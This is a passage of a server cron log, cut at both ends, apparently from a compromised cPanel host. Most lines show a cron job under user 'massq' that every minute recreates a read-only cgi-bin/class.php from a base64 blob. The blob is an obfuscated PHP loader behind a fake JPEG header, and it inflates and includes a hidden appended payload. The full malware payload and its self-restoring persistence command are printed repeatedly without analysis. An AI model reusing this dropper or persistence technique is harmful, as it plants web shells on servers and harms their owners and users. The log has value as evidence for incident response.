lZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:20:01 server CROND[7011]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 08:20:01 server CROND[7013]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 08:21:01 server CROND[7119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:22:01 server CROND[7161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:23:01 server CROND[7209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:24:01 server CROND[7263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:25:01 server CROND[7309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:25:01 server CROND[7310]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 08:25:01 server CROND[7311]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 11 08:25:01 server CROND[7312]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 08:26:01 server CROND[7520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:27:01 server CROND[7583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:27:01 server CROND[7584]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 08:28:01 server CROND[7635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:29:01 server CROND[7679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:30:01 server CROND[7730]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 08:30:01 server CROND[7731]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 08:30:01 server CROND[7733]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 08:30:01 server CROND[7732]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 11 08:30:01 server CROND[7739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:31:01 server CROND[7934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:32:01 server CROND[8003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:33:01 server CROND[8060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:34:01 server CROND[8122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9f